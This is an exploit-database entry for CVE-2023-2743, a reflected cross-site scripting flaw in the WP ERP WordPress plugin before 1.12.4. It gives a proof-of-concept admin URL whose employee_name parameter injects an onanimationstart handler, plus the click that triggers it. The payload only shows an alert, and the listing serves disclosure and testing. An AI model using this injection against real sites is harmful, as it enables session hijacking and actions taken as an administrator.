Exploit for WP ERP < 1.12.4 - Reflected Cross-Site Scripting CVE-2023-2743

Name: Exploit for WP ERP < 1.12.4 - Reflected Cross-Site Scripting CVE-2023-2743
Rating: 5 (76 reviews)

2023-06-05 | CVSS 5.8

## https://sploitus.com/exploit?id=WPEX-ID:517C6AA4-A56D-4F13-B370-7C864DD9C7DB
As an admin user, visit the following URL on the site:

/wp-admin/admin.php?page=erp-hr&section=leave&employee_name=employee123"+style%3Danimation-name%3Arotation+onanimationstart%3Dalert(%2FXSS%2F)%2F%2F

Click on the "Filter Leave Requests" button to trigger the XSS.